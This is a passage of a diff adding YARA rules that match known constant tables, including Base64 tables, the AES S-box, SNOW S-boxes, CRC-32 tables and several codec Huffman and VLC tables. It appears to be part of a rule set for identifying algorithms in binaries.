+	$a0 = { 0000a73e0060b8bf00c01cbf00c05fbf00909fbf00401dc000080fc000a002bf00c0b53f0060cf3f0030b0bf0050a7bf0000edbe0090b0bf00100bc000b850c000002abe0040393f00801fbf00c01d3f00808cbe002853c00020203f0000b33d00401fbf00009dbf00d05ec000e819c00008584000b0963f00e09abf00009cbd005812400010f2bf00000000004080c000c0853f00006fbe0010aebf0040853e00206c3f0070ac3f00a02c3f005859c000c838c000d01e4000c099bf009034c000a0603f00008e3e00008abf00d0cebf00580dc000e042c000886ac000f0a9bf0030084000c0babf00a00fbf0080a63f00601d3f00c0f83e0070a93f00009abf0058a2c00040573f00886cc00060abbf00b0873f009091bf0000013f00c0ba3e0080d6be005078c000acc8c00020c23f00c01740000803c000d09ebf0060013f00c0683f0000f0be00204fc000004d3e00d0374000d09bbf0040a4bf0000fabf0000f0bc001061400000a7bf00c0343f0000403f0070efbf00201a3f00b025c00000584000a0463f00d802c00010e53f0000d8bf00507fc000e870c000002d3f00d0124000d812c0000842c000a0aec000407d40007c03410080e83e00e05a4000a01e3f00448cc00070a03f004811400070b8400010d73f00c830c000e0153f00e09e3f0000b7bd006c8ac0004079c000e0c93f0080b3bf00607bbf00c497c0000483c000dcca4000e0c03f00c0853f0000e6bf00ac96c00000b5bf00c86dc000984b4000b08ebf00a09dbf00e045400050d0bf00a02fc000a88ec000ecadc000382d4000804bbe000852c0007408c10090b4bf00c0b44000c0e63f00605440000003be0078a9c0000068bf005863400070d14000d0babf008ca5c000401a400000f43d00b08abf0000a63f0000ec3f002029c000b0fcbf007039c00030853f00c0d73e0020b3bf0060cebf00e0593f00c07abf000080bd004080bf00c846c000e0d03f00e045bf000028bc00c00e3f00d0efbf00e064bf00e8474000109f3f0000b2bf00d091c000004cc000e825400040783f00508cbf00500cc00000bb3e00e0713f0030bdbf008076be009c90c000b027400090c73f00680cc000005f3f00801540000039be0040693f0020043f00206cbf007065400020a8bf0010a1bf0000a93e00c098be00007bbe00b08b3f004067bf00205ebf001080bf00c0fc3e0080f23f00109abf00108a3f000098bd0000a23f00d0b03f00a02e400070b13f005064c00090bebf00b019c000183a4000c48f4000f80ac00040ae3e0040f43f0030354000180bc0002011c0009084bf00202a4000a0a0bf0080203e004016bf00e0b13f006082bf00c0dc3f00808d3e0000b1be00b805c00080ed3e00a01b400050ea3f0000623e00409bbf00e0da3f00e0563f0000aabd0000ee3d00b0d6bf0080033e0020843f00a07abf0090933f005065c0000017bf000c9240000018bf00d0fabf00e8d2c000805bbe00e07a40004004c00080343e0010e9bf00c8294000807a3f00b813c000601dbf0020f9bf00f8714000b4834000b0e6bf00c0f6be00702240008053be00c00f3f002020bf0000cc3e008867400068004000d0f6bf0020a83f0100703c00c01b3f00f0be3f00008cbc00402bbf0000f6bd00203abf001830400080a9be0030a4bf0020c63f00f0164000480fc000007b3f00c004bf00c0c73e000081bd0040b33e00900f400064e9400048a7400080503e0070ac3f0040673f00081ec0002010bf00f0f2bf00086640004034c000e805400080a63e0060343f0080eabe0000203c007084bf002054bf0000e8bf00a0d4bf00408abf00005c3d0080853f0080b8bf0000c03b000044bf00c0dabf00e067bf006024bf006058bf0000113f00808bbe00a0553f0000303d00c80ec00000c23d000063be00d0b8bf0070b1bf004050bf008008be0040823f00009bbd0000bdbd008094bf00e04f3f000002bf001099bf00a0b1bf00202bbf00009f3e0000f8bd0050a7bf00a03d3f00001e3d0050bcbf0050e5bf0040f3be00206f3f00d09bbf000026c00040bbbe00e01e3f0070b5bf00c0cfbf00c0eabf00a0e6bf00a064bf0010b6bf006041bf0080acbf00c02fbf00800c3f0080663f004065bf0000643e0080b03e008005c00080693e000005c000a06ebf00203e3f00c00d3f00007ebd0080f8be00409fbe00603abf00f04ac00040da3e00a07fbf0040efbf0080aebf008090be0070903f002063bf0080a43f00c0bebf0000763f0040a03e0040153f00a06c3f00580040003046400000b4bc00c0153f0000873f002035bf00b0893f00807abf0020563f00e0db3f00c0a53f00d804400080b73f0000f8bf0000203f0000833d008038bf00b0b03f0000803b000071bf0020a63f0090db3f00f0c73f0000ccbe00f0a73f00a059bf00e02fbf0040b83f00d0fb3f0000453e0000fdbd0040223f00f005400000cc3c00d80cc0000080bc00c0a4be00f0f33f0070304000a02ec00000a2bf00583240008097be00401a3f00e048bf001822c00000a63e004083be0040e23f000089bf00f09dbf0060553f004806400030cbbf00b08ebf0000cb3e00808dbf002834400000843e0070cdbf0000293f0000513f00f0aa3f00201b3f00e009bf0090ccbf00f0d4bf0010fc3f00004e3f0050b9bf00c012bf0080343f0000143d0080e53e00e0793f00c0e43e004000bf00009cbf00a048bf00407e3f0060b83f0000e53d008087bf00a07e3f0100f03b00001ebf0000d0bd0000debf00403f3f0040913e00603a3f0080f03e0050a3bf002092bf0050e23f00003abf009088bf00605abf0000223d00102d400000333f00108dbf00c0febe00c0d83e0000d63d00c08ebf00c03cbf008052bf0000b03f0000e5bd00709f3f00a02dbf0030a93f00007c3e00806f3e00f0ad3f0040fcbe00509d3f00e039bf008047bf00409b3e0020713f000094bd00e0893f000006c00080213f00202fbf00c083be00601b3f00b0aabf00a06e3f0000203f0050863f00a03bbf0080e63f0080983e00780fc000a0ce3f0090d2bf00606a3f0040e33f002018bf00e0a03f00109d3f0020353f0020c0bf00981bc00080cb3e0040643f00109cbf0050044000d0febf0000503f0000dcbd00a0d53f0080fa3e00600b3f0040c33e00404f3f00f0f43f00903f400040c43f00800f3f0010fe3f00803d3f00c0cb3e0000c73d00e0143f00909b3f0010a03f0050973f00b0983f0080c03e00d838c000582c40000038be00f0c7bf00c0143f00e0023f00e0e93f00785840009082bf0000123e00b0c13f00a006400080bdbe007099bf00c0823e0010f53f00c0fc3f00402d3f00002a3d007808400080fb3e00801cbf004037bf00e02cbf00c0f03f0060453f00001abd0000813f0000d93e00a81f400070b63f0000cabd0080333e00807ebe0020e43f0060c83f00f08f3f00a0533f0000223f0090b53f0030f4bf0000e53d008015bf00c091bf00c83a400010e0bf0040c93e0010ef3f0020c4bf0020ea3f008097be0000d43c008006be0050cebf0080973e00407c3f008024bf0000fe3f0000473e }
+
+condition:
+	$a0
+}
+
+	
+rule B64EncodeTable__32_big_ASC_256_
+{
+strings:
+	$a0 = { 0000004100000042000000430000004400000045000000460000004700000048000000490000004a0000004b0000004c0000004d0000004e0000004f000000500000005100000052000000530000005400000055000000560000005700000058000000590000005a0000006100000062000000630000006400000065000000660000006700000068000000690000006a0000006b0000006c0000006d0000006e0000006f000000700000007100000072000000730000007400000075000000760000007700000078000000790000007a000000300000003100000032000000330000003400000035000000360000003700000038000000390000002b0000002f }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_5E2__16_lil_16_
+{
+strings:
+	$a0 = { 6646b8264c15b60b71068b03f3011201 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mpeg4_inter_rvlc__16_lil_680_
+{
+strings:
+	$a0 = { 0600030001000400040005001c0007003c0008003d0008007c000900fc000a00fd000a00fc010b00fd010b00fc030c00fc070d00fd070d00fc0b0d00fd0b0d00fc0f0e00fd0f0e00fc1f0f00070003000c0006005c0008007d0009007c010a00fc020b00fd030c00fc0d0d00fc170e00fd170e000a0004001d000700bc000900fd020b00fc050c00fc1b0e00fd1b0e00050005005d0008007d010a00fd050c00fd0d0d00fc1d0e00fd1f0f00080005006c0008007c030b00fc0e0d00fc2f0f0009000500bd0009007d030b00fd0e0d000d000600bc010a00fc060c00fd1d0e0014000600bd010a00fd060c00fd2f0f0015000600dc010a007c0f0d002c000700dd010a00fc1e0e002d000700bc030b00340007007c070c006d0008007d0f0d0074000800fd1e0e00750008007c1f0e00dc0009007d1f0e00dd000900bc1f0e00ec000900fc370f00ec010a00ed010a00f4010a00bd030b00dc030b00dd030b00ec030b00ed030b00f4030b007d070c00bc070c00bd070c00bc0f0d00bd0f0d00dc0f0d00dd0f0d00bd1f0e00dc1f0e00dd1f0e00fd370f00fc3b0f000b00040078000800f5030b00ec0f0d00ec1f0e0012000500ed000900dc070c00ed1f0e00fd3b0f0013000500f8030b00fc3d0f0018000600dd070c0019000600ec070c0022000600ed0f0d0023000600f40f0d0035000700f50f0d0038000700f80f0d0039000700f90f0d0042000700f41f0e0043000700f51f0e0079000800f81f0e0082000800fd3d0f0083000800f4000900f5000900f8000900f90009000201090003010900f5010a00f8010a00f9010a0002020a0003020a00f9030b0002040b0003040b00ed070c00f4070c00f5070c00f8070c00f9070c0002080c0003080c0002100d0003100d00f91f0e0002200e0003200e00fc3e0f00fd3e0f007c3f0f007d3f0f0000000400 }
+
+condition:
+	$a0
+}
+
+	
+rule libfaad2_cfft_tab_240__flt32___32_lil_1920_
+{
+strings:
+	$a0 = { 0000803f000000008be97f3f0b71d63c2fa67f3f3b5e563df9357f3f2aafa03dfd987e3f0513d63d55cf7d3fa9a8053e25d97c3f5c30203e98b67b3ff39b3a3ee2677a3fcee6543e3ced783f4e0c6f3eea46773fee83843e3675753f766a913e7178733f7a379e3ef450713fbce8aa3e20ff6e3f017cb73e5e836c3f16efc33e1dde693fc93fd03ed40f673ff46bdc3e0119643f7271e83e28fa603f284ef43ed7b35d3f0000003fa0465a3f77c2053f1db3563f776d0b3feff9523f0000113fbd1b4f3f1879163f34194b3fcad71b3f09f3463f241b213ff7a9423f3b42263fbd3e3e3f254c2b3f23b2393f0138303ff304353ff304353f0138303f23b2393f244c2b3fbe3e3e3f3a42263ff7a9423f241b213f0af3463fc9d71b3f35194b3f1879163fbd1b4f3f0000113feff9523f766d0b3f1eb3563f76c2053fa1465a3fffffff3ed8b35d3f274ef43e29fa603f7271e83e0119643ff16bdc3ed50f673fc83fd03e1ede693f15efc33e5e836c3ffe7bb73e21ff6e3fbae8aa3ef450713f79379e3e7178733f756a913e3675753fef83843eea46773f490c6f3e3ced783fcbe6543ee2677a3ff39b3a3e98b67b3f5530203e25d97c3fa4a8053e55cf7d3fff12d63dfd987e3f28afa03df9357f3f3f5e563d2fa67f3fe370d63c8be97f3f2ebd3bb30000803f1271d6bc8be97f3f565e56bd2fa67f3f34afa0bdf9357f3f0b13d6bdfd987e3faaa805be55cf7d3f5a3020be25d97c3ff89b3abe98b67b3fd1e654bee1677a3f4f0c6fbe3ced783ff28384beea46773f786a91be3575753f7b379ebe7078733fbce8aabef450713f017cb7be21ff6e3f18efc3be5e836c3fcb3fd0be1dde693ff46bdcbed40f673f7571e8be0019643f264ef4be29fa603f0000803f000000002fa67f3f3b5e563dfd987e3f0513d63d25d97c3f5c30203ee2677a3fcee6543eea46773fee83843e7178733f7a379e3e20ff6e3f017cb73e1dde693fc93fd03e0119643f7271e83ed7b35d3f0000003f1db3563f776d0b3fbd1b4f3f1879163f09f3463f241b213fbd3e3e3f254c2b3ff304353ff304353f244c2b3fbe3e3e3f241b213f0af3463f1879163fbd1b4f3f766d0b3f1eb3563fffffff3ed8b35d3f7271e83e0119643fc83fd03e1ede693ffe7bb73e21ff6e3f79379e3e7178733fef83843eea46773fcbe6543ee2677a3f5530203e25d97c3fff12d63dfd987e3f3f5e563d2fa67f3f2ebd3bb30000803f565e56bd2fa67f3f0b13d6bdfd987e3f5a3020be25d97c3fd1e654bee1677a3ff28384beea46773f7b379ebe7078733f017cb7be21ff6e3fcb3fd0be1dde693f7571e8be0019643f010000bfd7b35d3f776d0bbf1db3563f177916bfbd1b4f3f261b21bf08f3463f264c2bbfbd3e3e3ff30435bff304353fbf3e3ebf224c2b3f0bf346bf221b213fbe1b4fbf1779163f1db356bf776d0b3fd7b35dbf0100003f021964bf6d71e83e1ede69bfc73fd03e21ff6ebf007cb73e727873bf73379e3eeb4677bfea83843ee2677abfc8e6543e25d97cbf5a30203efd987ebf0913d63d30a67fbf135e563d000080bf2ebdbbb32fa67fbf425e56bdfc987ebf2113d6bd24d97cbf653020bee1677abfd4e654beea4677bfef8384be717873bf79379ebe20ff6ebf067cb7be1dde69bfcc3fd0be011964bf7371e8bed5b35dbf030000bf1cb356bf796d0bbfbc1b4fbf1a7916bf09f346bf251b21bfbd3e3ebf254c2bbff10435bff50435bf234c2bbfbe3e3ebf231b21bf0af346bf157916bfbf1b4fbf786d0bbf1db356bf0000803f00000000f9357f3f2aafa03d25d97c3f5c30203e3ced783f4e0c6f3e7178733f7a379e3e5e836c3f16efc33e0119643f7271e83ea0465a3f77c2053fbd1b4f3f1879163ff7a9423f3b42263ff304353ff304353f3a42263ff7a9423f1879163fbd1b4f3f76c2053fa1465a3f7271e83e0119643f15efc33e5e836c3f79379e3e7178733f490c6f3e3ced783f5530203e25d97c3f28afa03df9357f3f0000803f0000000025d97c3f5c30203e7178733f7a379e3e0119643f7271e83ebd1b4f3f1879163ff304353ff304353f1879163fbd1b4f3f7271e83e0119643f79379e3e7178733f5530203e25d97c3f2ebd3bb30000803f5a3020be25d97c3f7b379ebe7078733f7571e8be0019643f177916bfbd1b4f3ff30435bff304353fbe1b4fbf1779163f021964bf6d71e83e727873bf73379e3e25d97cbf5a30203e0000803f000000003ced783f4e0c6f3e0119643f7271e83ef7a9423f3b42263f1879163fbd1b4f3f15efc33e5e836c3f5530203e25d97c3f34afa0bdf9357f3f7b379ebe7078733f79c205bf9f465a3ff30435bff304353fa1465abf76c2053f727873bf73379e3efa357fbf22afa03d24d97cbf653020be5e836cbf15efc3bebc1b4fbf1a7916bf384226bff9a942bf6871e8be031964bf530c6fbe3ced78bf0000803f000000007178733f7a379e3ebd1b4f3f1879163f1879163fbd1b4f3f79379e3e7178733f0000803f00000000bd1b4f3f1879163f79379e3e7178733f7b379ebe7078733fbe1b4fbf1779163f0000803f000000001879163fbd1b4f3f7b379ebe7078733f727873bf73379e3ebc1b4fbf1a7916bf0000803f000000000000803f000000000000803f000000000000803f000000007e379e3e707873bf }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_mimic_vlcdec_lookup__8_byt_576_
+{
+strings:
+	$a0 = { 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FF010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000FD03FE02000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F907FA06FB05FC040000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000F10FF20EF30DF40CF50BF60AF709F808000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000E11FE21EE31DE41CE51BE61AE719E818E917EA16EB15EC14ED13EE12EF11F0100000000000000000000000000000000000000000000000000000000000000000C13FC23EC33DC43CC53BC63AC739C838C937CA36CB35CC34CD33CE32CF31D030D12FD22ED32DD42CD52BD62AD729D828D927DA26DB25DC24DD23DE22DF21E020817F827E837D847C857B867A8779887889778A768B758C748D738E728F719070916F926E936D946C956B966A9769986899679A669B659C649D639E629F61A060A15FA25EA35DA45CA55BA65AA759A858A957AA56AB55AC54AD53AE52AF51B050B14FB24EB34DB44CB54BB64AB749B848B947BA46BB45BC44BD43BE42BF41C040 }
+
+condition:
+	$a0
+}
+
+	
+rule AES_Rijndael_S___ARIA_S1__8_byt_256_
+{
+strings:
+	$a0 = { 637c777bf26b6fc53001672bfed7ab76ca82c97dfa5947f0add4a2af9ca472c0b7fd9326363ff7cc34a5e5f171d8311504c723c31896059a071280e2eb27b27509832c1a1b6e5aa0523bd6b329e32f8453d100ed20fcb15b6acbbe394a4c58cfd0efaafb434d338545f9027f503c9fa851a3408f929d38f5bcb6da2110fff3d2cd0c13ec5f974417c4a77e3d645d197360814fdc222a908846eeb814de5e0bdbe0323a0a4906245cc2d3ac629195e479e7c8376d8dd54ea96c56f4ea657aae08ba78252e1ca6b4c6e8dd741f4bbd8b8a703eb5664803f60e613557b986c11d9ee1f8981169d98e949b1e87e9ce5528df8ca1890dbfe6426841992d0fb054bb16 }
+
+condition:
+	$a0
+}
+
+	
+rule asf_data_chunk_guid__8_byt_16_
+{
+strings:
+	$a0 = { 3626b2758e66cf11a6d900aa0062ce6c }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_truespeech_ts_cb_2__16_lil_32_
+{
+strings:
+	$a0 = { f896b4a345af53bab1c4ccce6fd81ee2f3eb40f6f700200c81189a266b37604d }
+
+condition:
+	$a0
+}
+
+	
+rule mp3lib_huffman_tab16__16_big_1022_
+{
+strings:
+	$a0 = { FE03FE09FE33FEBDFF99FFDBFFE5FFF1FFF9FFFDFFFF00EF00FEFFFF00DF00FDFFFDFFFF00CF00FCFFFF00BF00FBFFFBFFFF00AFFFFF00FA009FFFFDFFFF00F900F8008FFFF9FFFDFFFF007F00F7FFFF006F00F600FFFFF7FFFBFFFDFFFF005F00F5004FFFFF00F400F3FFCBFFFF00F0FFFF003FFFE3FFEDFFF3FFF9FFFBFFFF00CEFFFF00EC00DD00DEFFFF00E9FFFF00EA00D9FFFF00EEFFFF00ED00EBFFFDFFFF00BE00CDFFFDFFFF00DC00DB00AEFFF5FFFBFFFF00CCFFFF00AD00DAFFFDFFFF007E00AC00CAFFFBFFFDFFFF00C9007D005E00BD00F2FFA3FFFBFFFDFFFF002F000F001FFFFF00F1FFCFFFE7FFF3FFFBFFFF009EFFFF00BC00CBFFFDFFFF008E00E8FFFF009D00E7FFF9FFFDFFFF00BB008DFFFF00D8006EFFFF00E6009CFFF3FFF9FFFDFFFF00AB00BAFFFF00E500D7FFFF004EFFFF00E4008CFFFDFFFF00C8003EFFFF006DFFFF00D6009BFFEDFFF5FFFBFFFDFFFF00B900AA00E1FFFF00D4FFFF00B800A9FFFBFFFF007BFFFF00B700D000E3FFF9FFFDFFFF000E00E0FFFF005D00D5FFFDFFFF007C00C7FFFF004D008BFFB5FFD3FFE5FFF3FFF9FFFDFFFF009A006CFFFF00C6003DFFFDFFFF005C00C5000DFFF9FFFDFFFF008A00A8FFFF0099004CFFFDFFFF00B6007A003CFFF5FFFBFFFDFFFF005B0089001CFFFF00C0FFFF00980079FFFF00E2FFFF002E001EFFF1FFF9FFFDFFFF00D3002DFFFF00D200D1FFFBFFFF003BFFFF00970088001DFFF9FFFDFFFF00C4006BFFFF00C300A7FFFF002CFFFF00C200B5FFE9FFF3FFF9FFFDFFFF00C1000CFFFF004B00B4FFFDFFFF006A00A600B3FFFBFFFDFFFF005A00A5002BFFFF00B2001BFFF3FFFBFFFF00B1FFFF000B00B0FFFDFFFF00690096FFFF004A00A4FFFBFFFDFFFF0078008700A3FFFDFFFF003A0059002AFF9FFFC7FFDFFFEDFFF5FFFBFFFDFFFF0095006800A1FFFDFFFF008600770094FFFBFFFDFFFF00490057006700A2FFFBFFFF001AFFFF000A00A0FFFDFFFF00390093FFFF00580085FFF7FFFDFFFF00290092FFFDFFFF007600090019FFFBFFFF0091FFFF00900048FFFDFFFF00840075FFFF00380083FFEBFFF5FFFBFFFDFFFF006600280082FFFDFFFF004700740018FFFDFFFF00810080FFFDFFFF000800560037FFF7FFFBFFFF0073FFFF00650046FFFF00270072FFFBFFFDFFFF0064005500070017FFE9FFF3FFFBFFFF0071FFFF00700036FFFDFFFF00630045FFFF00540026FFFDFFFF00620016FFFF0061FFFF00060060FFF7FFFBFFFF0053FFFF00350044FFFF00250052FFFF0051FFFF00150005FFDFFFE9FFF3FFF9FFFDFFFF00340043FFFF00500024FFFDFFFF004200330014FFFBFFFF0041FFFF00040040FFFF00230032FFFDFFFF00130031FFFDFFFF000300300022FFFDFFFF00120021FFFF00020020FFFDFFFF0011000100100000 }
+
+condition:
+	$a0
+}
+
+	
+rule pc12_tbl_reconstruction_levels_for_1st_and_2nd_coefficients__32_lil_512_
+{
+strings:
+	$a0 = { 2000F0FF2001F0FF2003F0FF2006F0FF200AF0FF200FF0FF2015F0FF201CF0FF2024F0FF202DF0FF2037F0FF2042F0FF204EF0FF205BF0FF2069F0FF2078F0FF2088F0FF2099F0FF20ABF0FF20BEF0FF20D2F0FF20E7F0FF20FDF0FF2014F1FF202CF1FF2045F1FF205FF1FF207AF1FF2096F1FF20B3F1FF20D1F1FF20F0F1FF2010F2FF2031F2FF2053F2FF2076F2FF209AF2FF20BFF2FF20E5F2FF200CF3FF2034F3FF205DF3FF2087F3FF20B2F3FF20DEF3FF200BF4FF2039F4FF2068F4FF2098F4FF20C9F4FF20FBF4FF202EF5FF2062F5FF2097F5FF20CDF5FF2004F6FF203CF6FF2075F6FF20AFF6FF20EAF6FF2026F7FF2063F7FF20A1F7FF20E0F7FF2020F8FF2061F8FF20A3F8FF20E6F8FF202AF9FF206FF9FF20B5F9FF20FCF9FF2044FAFF208DFAFF20D7FAFF2022FBFF206EFBFF20BBFBFF2009FCFF2058FCFF20A8FCFF20F9FCFF204BFDFF209EFDFF20F2FDFF2047FEFF209DFEFF20F4FEFF204CFFFF20A5FFFF20FFFFFF205A000020B60000201301002071010020D00100203002002091020020F302002056030020BA0300201F04002085040020EC04002054050020BD0500202706002092060020FE0600206B070020D907002048080020B8080020290900209B0900200E0A0020820A0020F70A00206D0B0020E40B00205C0C0020D50C00204F0D0020CA0D0020460E0020C30E0020410F0020C00F00 }
+
+condition:
+	$a0
+}
+
+	
+rule EPWIC_15_tap_lo_filter__flt64___64_big_120_
+{
+strings:
+	$a0 = { bf54707ca7b6e1d6bf6470959ea02f2e3f81e188acc886a83f946fdbe39ea901bfa9deefe4ffc979bfbedc6da9a6acfd3fd2c1423f95972c3fe698febf0d46903fd2c1423f95972cbfbedc6da9a6acfdbfa9deefe4ffc9793f946fdbe39ea9013f81e188acc886a8bf6470959ea02f2ebf54707ca7b6e1d6 }
+
+condition:
+	$a0
+}
+
+	
+rule epTool_punctbl__32_lil_300_
+{
+strings:
+	$a0 = { 000000000000000000000000800000000000000000000000880000000000000000000000a80000000000000000000000aa0000000000000000000000ea0000000000000000000000ee0000000000000000000000fe0000000000000000000000ff0000000000000000000000ff0000008000000000000000ff0000008800000000000000ff000000a800000000000000ff000000aa00000000000000ff000000ea00000000000000ff000000ee00000000000000ff000000fe00000000000000ff000000ff00000000000000ff000000ff00000080000000ff000000ff00000088000000ff000000ff000000a8000000ff000000ff000000aa000000ff000000ff000000ea000000ff000000ff000000ee000000ff000000ff000000fe000000ff000000ff000000ff000000 }
+
+condition:
+	$a0
+}
+
+	
+rule LD_CELP_G_728_hw_gain__flt64___64_lil_272_
+{
+strings:
+	$a0 = { 9804c6ffbfafe23f1ef32a00005fe33f592ac8ff7f14e43fd9812400c0d0e43fe8a3ddffff93e53f44710600405ee63f9804c6ffbf2fe73f1b50caff3f09e83f6558d9ff7feae83fe8a3ddffffd3e93f0c2e110000c6ea3fe20cd5ffffc0eb3f33acecff3fc5ec3f0697080000d3ed3f592ac8ff7fc4ee3f9e9bceffbf72ef3f21e7d2ff3fdcef3f000000000000f03fd3ea1b00c0ddef3f0c2e11000076ef3f1b50caff3fc9ee3f1b50caff3fd9ed3fd047bbffffa7ec3f30b844000038eb3f89e20c00808ce93f12c5190000a9e73f248a33000092e53fb060e8ffbf4be33f3fdafdff3fdbe03f4765aeff7f8bdc3f95101e008022d73fdc2485008086d13fb35490ffff88c73fca5241feffa3b73f }
+
+condition:
+	$a0
+}
+
+	
+rule SNOW_SBox_3__32_lil_1024_
+{
+strings:
+	$a0 = { 00400220004002000840022009041001080412000844020108040020010012000040102108441001084412010844022001041001094010210900022101400220090010210140120001001221010010200000000109041201004000200904022000401000080010200804100101441201010412200800120009001220090400000840120000001000094400200000122001041000090002000000100101000221090000200840100109041200000010210140100000440000094412210804000101040200084400210104102100441021014410200944020101040021090400010944100101000200080402010100102109441201004000210044000100000220084000000840020001400001014002000800020000400000084012210800000000440221000000200900000100040001014412200940000009400200000402010000122100001020094400010040102009000021004402200944122001041221084412000004120101040220090012010140100100440021090002200040120009000201090400200144002101000000084010000000120001440201014412210800002009441021010402010940120000040200090402010040122008400201084002210104022101441021014400000800100008041021000402200144020009401001094000200144022101400021010010010840102000040021014002010104002008000220000412000000120100041221080402210100122008001001004010010800102109401000014010210044122109001020014002210044100108000221004002010104120109400201080400000044122001441200010000200900120008001201084410200000020109440200084400200044002000000000084400000100022009400001094402210004102108400020090402000000022100040000090012210804100001000021014402200940120109400220094400210004122001441000080012200904022101000201004412000140002008401220084000210144100109001001090010000100000108001221000410200800020109041220084410210844000101401201004000010804002100440201084402000940122001041200004012210900000009401221080000010904002101401020094002210104000000400221094402200904102009401020010010000804020000401201090410000140000000040221080410200940002100000021014400200800002101440001010410200044020008041201084010210844122008041220090410210840000109441020094410000840120100041000094400000844022100041001090412210044102008441221014012210044120108041221000002000804022001001201014012200004002009441200084410000104000100441000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavformat_fps_umf2avr_AVRational_map__32_lil_40_
+{
+strings:
+	$a0 = { 320000000100000060ea0000e90300001800000001000000190000000100000030750000e9030000 }
+
+condition:
+	$a0
+}
+
+	
+rule MacGuffin_outputmasks__16_lil_640_
+{
+strings:
+	$a0 = { 300010000000200000003000300000002000000030003000100020000000100030000000100030000000200020001000100030002000100020000000100020004000c000c00080008000c00040004000000000000000c000c00000008000400040000000000040008000000040008000c00040008000800000008000c000c000800040000000c000c00000000000000080008000c00040004000c000c0008000c000c00040000000400040008000c000400080000000400080000000000080000000000200020003000000000001000200010000000200010003000300000001000200010001000000010003000300020003000100000003000200020003000000000003000000020001000200030001000200010003000200010000000200030003000000030003000200000001000300000002000100000000000100020001000800080004000c00080000000c0000000c0004000000080000000c0008000400000000000c00040004000c00000008000800000004000c00040004000c0008000c000000080004000c0000000400080000000c000800040008000c000400080004000c00000008000000040008000400040000000c0000000c00080000000c000000300030000000000030002000100030000000000030002000100030002000100020002000100030001000100020001000000020003000000020001000000010000000000030003000300030002000200010001000000010002000200010002000300030001000000000002000300000002000100000003000100000002000c00040000000c0008000c0000000800000008000c0004000c00040004000000080008000c0004000400000008000c00040000000000080008000c000400000 }
+
+condition:
+	$a0
+}
+
+	
+rule BHEncodeTable__32_lil_ASC_256_
+{
+strings:
+	$a0 = { 2100000022000000230000002400000025000000260000002700000028000000290000002a0000002b0000002c0000002d000000300000003100000032000000330000003400000035000000360000003800000039000000400000004100000042000000430000004400000045000000460000004700000048000000490000004a0000004b0000004c0000004d0000004e0000005000000051000000520000005300000054000000550000005600000058000000590000005a0000005b0000006000000061000000620000006300000064000000650000006600000068000000690000006a0000006b0000006c0000006d000000700000007100000072000000 }
+
+condition:
+	$a0
+}
+
+	
+rule libavcodec_ff_aac_scalefactor_code__32_lil_484_
+{
+strings:
+	$a0 = { e8ff0300e6ff0300e7ff0300e5ff0300f5ff0700f1ff0700edff0700f6ff0700eeff0700efff0700f0ff0700fcff0700fdff0700ffff0700feff0700f7ff0700f8ff0700fbff0700f9ff0700e4ff0300faff0700e3ff0300efff0100f0ff0100f5ff0000eeff0100f2ff0000f3ff0000f4ff0000f1ff0000f67f0000f77f0000f93f0000f53f0000f73f0000f33f0000f63f0000f23f0000f71f0000f51f0000f90f0000f70f0000f60f0000f9070000f40f0000f8070000f9030000f7030000f5030000f8010000f7010000fa000000f8000000f6000000790000003a000000380000001a0000000b00000004000000000000000a0000000c0000001b000000390000003b000000780000007a000000f7000000f9000000f6010000f9010000f4030000f6030000f8030000f5070000f4070000f6070000f7070000f50f0000f80f0000f41f0000f61f0000f81f0000f83f0000f43f0000f0ff0000f47f0000f6ff0000f57f0000e2ff0300d9ff0700daff0700dbff0700dcff0700ddff0700deff0700d8ff0700d2ff0700d3ff0700d4ff0700d5ff0700d6ff0700f2ff0700dfff0700e7ff0700e8ff0700e9ff0700eaff0700ebff0700e6ff0700e0ff0700e1ff0700e2ff0700e3ff0700e4ff0700e5ff0700d7ff0700ecff0700f4ff0700f3ff0700 }
+
+condition:
+	$a0
+}
+
+	
+rule CRC_32_IEEE_802_3_poly_0xDB710641__32_lil_refl_False_
+{
+strings:
+	$a0 = { 00000000410671dbc30a936d820ce2b6861526dbc7135700451fb5b60419c46d4d2d3d6d0c2b4cb68e27ae00cf21dfdbcb381bb68a3e6a6d083288db4934f9009a5a7adadb5c0b015950e9b71856986c1c4f5c015d492ddadf45cf6c9e43beb7d77747b79671366c147dd4da557ba5015162616c106410b79268f201d36e83da75b3856f34b5f4b4b6b91602f7bf67d9f3a6a3b4b2a0d26f30ac30d971aa4102389eb8027998c9d9fb942b6fba925ab4be8b9ed9ff8def027d810db43c877c6fefe9ffb5aeef8e6e2ce36cd86de51d0369fcd96e28faa8b5aaf64a03ebf03bd8a2c4c2d8e3c2b30361ce51b520c8206e24d1e40365d795d8e7db776ea6dd06b5ea660bdfab607a04296c98b2686ae9696c732d042d755cdfaf79be69ee7fcfb2a74b36b2e64d47696441a5df2547d404215e1069605861b2e2548304a352f2df703c7105313a00deb336e268f23093b3f62957deb72f26053523c4b37425b5683d114c687c173db3fe1bdf05bf1daedebb046ab3fa021b68780ef9de390888059fd58eb0ded3ff6b5cdf1ddd1dd96c0619c0a86b58c6d9b0daca3b069bcc4addd2f8b3dd93fec20611f220b050f4516b54ed950615ebe4dd97e7066bd6e177b0058ff46a448985b1c6856707878316dc839ad2b1c29ca36a409041dc0196300748a2c90709a4b8dc8ba85a6acaae2bb1ceb7efdc8fb19e070dbd7cb14cbb0d6a95cb6765d4cd16be56c1f40817c785d313de41be52d83065d0d4d2d391d2a308d8e65a0899e02bd31becc9655aeab8be5ef37cd31ff50d089df9efbedcff9e650f911dbf4e976c64cc9b8ed28d9dff0989843b64c8824abf4a8ea8090b88d9d242bc20d203ba510981b6b3bfc0b0c264c4a9060985af77d207a3956446a5e4bfe078e20aa17e93d123727167627400bc666dc4d1276bb50aa56757bce4612667ad55df67ec53aebc6e5f4c0a2f593dd12b40f9bc6a468867e84a6ad1a94c1b0a7a2298d03b24e90bb9280bbdf82e7a66fc37be0bbd31cfd03f3d2d667e3b5cbd370fa5bd7609d466f40536d0b503470bb11a8366f01cf2bd7210100b331661d